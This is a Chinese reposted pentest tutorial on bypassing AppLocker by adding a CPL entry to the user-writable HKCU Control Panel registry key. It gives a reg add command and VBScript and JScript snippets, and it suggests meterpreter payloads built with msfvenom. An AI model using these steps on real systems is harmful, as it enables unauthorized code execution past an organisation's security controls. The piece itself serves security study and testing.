本文讲的是绕过AppLocker系列之控制面板的利用,使用默认规则实现AppLocker不能提供任何充分的保护,因为通过使用合法的Windows二进制文件和利用常见的系统错误配置就会产生多个绕过方法。在Windows系统中,当用户打开控制面板时,会加载多个CPL文件。这些CPL文件的列表是从注册表中获得的。

Francesco Mifsud  发现,当启动控制面板时,将检查以下两个注册表位置,然后加载CPL。

HKLMSoftwareMicrosoftWindowsCurrentVersionControl PanelCPLs
HKCUSoftwareMicrosoftWindowsCurrentVersionControl PanelCPLs

问题就出在第二个注册表的位置,普通用户具有写入权限,所以可以在注册表中写入一个注册表键,该注册表将在控制面板启动时加载和执行恶意代码。唯一的条件是用户的系统允许打开控制面板和注册表。注册表二进制文件位于Windows文件夹内,默认情况下,AppLocker允许执行此文件夹内的所有内容。在大多数环境中也是允许控制面板运行的。

绕过AppLocker ——阻止 CMD 运行

第一步是创建一个DLL并将其重命名为.Cpl,以便它可以与控制面板一起执行。Metasploit 的Msfvenom可以创建一个自定义的DLL,其中可以包含一个嵌入的meterpreter有效负载或者Didier Stevens的 cmd DLL文件,可以用来绕过禁止cmd运行的限制。

以下命令将创建一个注册表键,这个注册表键的值将包含存储在主机上的CPL文件的路径。默认情况下,标准用户对自己的配置单元是具有写入权限的。

reg add "HKCUSOFTWAREMicrosoftWindowsCurrentVersionControl PanelCpls"
/v pentestlab.cpl /t REG_SZ /d "C:pentestlab.cpl"

绕过AppLocker —— 将注册表键添加到注册表

如果cmd被禁用,可以使用注册表编辑器添加注册表项:

注册表编辑器 – 添加CPL注册表键

Francesco Mifsud还发布了两个脚本,可以在cmd和注册表编辑器被阻止时将注册表键添加到注册表中。

VBScript:

const HKEY_CURRENT_USER = &H80000001strComputer = "."Set objReg=GetObject(
"winmgmts:{impersonationLevel=impersonate}!" & strComputer & "rootdefault:StdRegProv")strKeyPath = "SoftwareMicrosoftWindowsCurrentVersionControl PanelCPLs"
objReg.CreateKey HKEY_CURRENT_USER,strKeyPathstrValueName = "pentestlabCPL"
strValue = "C:pentestlabCPL.cpl"
objReg.SetStringValue
HKEY_CURRENT_USER,strKeyPath,strValueName,strValue

Jscript:

var obj = WScript.CreateObject("WScript.Shell");
obj.RegWrite("HKCUSoftwareMicrosoftWindowsCurrentVersionControl PanelCPLs", "Top level key");
obj.RegWrite("HKCUSoftwareMicrosoftWindowsCurrentVersionControl PanelCPLspentestlabCPL", "C:pentestlabCPL.cpl","REG_SZ");

从启动控制面板的那一刻开始,代码将被执行,cmd将被打开。

AppLocker Bypass – 通过控制面板命令提示符

在控制面板被阻止打开的情况下,可以使用以下位置作为启动控制面板的替代方法。

· C:windowssystem32control.exe
· AppDataRoamingMicrosoftWindowsStart MenuProgramsAccessoriesSystem ToolsControl Panel.lnk
· shell:::{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}
· shell:::{26EE0668-A00A-44D7-9371-BEB064C98683}
· shell:::{ED7BA470-8E54-465E-825C-99712043E01C}
· My Control Panel.{ED7BA470-8E54-465E-825C-99712043E01C}
原文发布时间为:2017年7月13日
本文作者:丝绸之路
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。
原文链接

绕过AppLocker系列之控制面板的利用相关推荐

  1. 绕过AppLocker系列之MSBuild的利用

    本文讲的是绕过AppLocker系列之MSBuild的利用,Microsoft已经在.NET框架中发布了许多可以编译和执行代码的二进制文件.最初引入了MSBuild,以便开发人员在不安装Visual ...

  2. 如何利用msxsl绕过AppLocker?

    本文讲的是如何利用msxsl绕过AppLocker?, 0x00 前言 Casey Smith@subTee在twitter分享的一个技巧,使用包含微软签名的msxsl.exe能够执行JScript代 ...

  3. keras系列︱迁移学习:利用InceptionV3进行fine-tuning及预测、完美案例(五)

    之前在博客<keras系列︱图像多分类训练与利用bottleneck features进行微调(三)>一直在倒腾VGG16的fine-tuning,然后因为其中的Flatten层一直没有真 ...

  4. ROS系统MoveIt玩转双臂机器人系列(三)--利用controller控制实际机器人

    ROS系统MoveIt玩转双臂机器人系列(三)--利用controller控制实际机器人 注:本篇博文全部源码下载地址为:Git Repo. 1. 下载到本地后解压到当前文件夹然后运行:catkin_ ...

  5. 统计系列(四)利用Python进行假设检验

    统计系列(四)利用Python进行假设检验 z检验 主要应用场景:在大样本量的总体比例检验 核心:两样本的总体比例差异 单样本比例检验 # 检验样本合格率与0.38是否有差异 import numpy ...

  6. 统计系列(三)利用Python进行参数估计

    统计系列(三)利用Python进行参数估计 点估计 样本均值估计为总体均值,样本比例估计为总体比例. import numpy as npx = [1, 1, 0, 1, 0, 0, 1, 0, 1, ...

  7. 风险管理系列课程二:利用图技术优化反洗钱解决方案

    风险管理系列课程 随着相互关联的全球金融市场在规模和复杂性上快速增加,风险评估和监控所面临的挑战变得日益艰巨.一些复杂的金融工具数量激增,如信用违约互换和抵押担保证券,而且一旦出错,就会付出数以万亿的 ...

  8. 【Linux_Fedora_应用系列】_3_如何利用Smplayer播放WMV格式的文件

    在上一篇我们成功安装了视频播放器,并且成功安装里解码器[Linux_Fedora_应用系列]_2_如何安装视频播放器和视频文件解码 安装完的Smplayer的GUI的界面程序,可以播放FLV.AVI. ...

  9. VARCHART XGantt系列教程:如何利用颜色来丰富甘特图智能

    VARCHART XGantt是一款功能强大的甘特图控件.其模块化的设计让您可以创建满足您和您的客户所需求的应用程序(我们领先的甘特图控件VARCHART XGantt可用于DotNET,Active ...

  10. python微信爬取教程_PYTHON爬虫之旅系列教程之【利用Python开发微信公众平台一】...

    感谢大家的等待,好啦,都准备好瓜子.板凳,老司机要发车啦-- 本系列课程讲述"PYTHON爬虫之旅",具体大纲可参考:[PYTHON爬虫之旅]概要目录. 本节课讲述如何利用Pyth ...

最新文章

  1. 一步步学习 Spring Data 系列之JPA(一)
  2. hadoop-HA集群搭建,启动DataNode,检测启动状态,执行HDFS命令,启动YARN,HDFS权限配置,C++客户端编程,常见错误
  3. IIs+php 最精简的环境配置
  4. C# new关键字和对象类型转换(双括号、is操作符、as操作符)
  5. ajax实现一个前台的进度条,前台ajax实现上传文件并且有进度条
  6. 【MySQL】向已有主键的表附加主键属性的自动编号
  7. .NET Framework也可以开发托管了
  8. jdbc postgresql mysql_jdbc无法连接postgresql数据库
  9. Apache Flink 在蔚来汽车的应用
  10. 异序二分查找 二分查找方程根 二分查找重复元素最后一个
  11. python为什么不能删除_为什么python不允许我删除文件?
  12. 国产分布式ETL调度管理工具 TASKCTL 8.0 核心/代理节点部署
  13. java计算机毕业设计小学教师课程管理系统源码+系统+数据库+lw文档
  14. ZebraDesigner-设计label
  15. 微服务架构下的统一身份认证和授权
  16. raid服务器怎么装win7系统安装,win7系统安装raid的方法(图文)
  17. 关于微信小程序picker之multiSelector多列选择器
  18. 改变世界前,先改变自己
  19. 基尔霍夫(kirchhoff)矩阵树定理
  20. java寻仙红尘缘修改版_微信拍一拍后缀创意搞笑文字大全 微信拍一拍搞笑后缀的句子...

热门文章

  1. 一个遮罩层怎么遮罩两个图层_遮罩动画是由两个图层组成的,一个是遮罩层,一个是被遮罩层。...
  2. SpringMVC:视图解析器(ViewResolver)
  3. 【论文解读 KDD 2019 | GATNE 】Representation Learning for Attributed Multiplex Heterogeneous Network
  4. [计算机网络]网络层
  5. python实现Content-Type:application/octet-stream
  6. java引用不同包下同名类_Java--一个类中引用不同包下同名类
  7. PaddleX语义分割
  8. 联想System X 3650M5 服务器装机问题记录
  9. raster包—stack函数
  10. 毕业设计之 --- 基于设深度学习的人脸性别年龄识别系统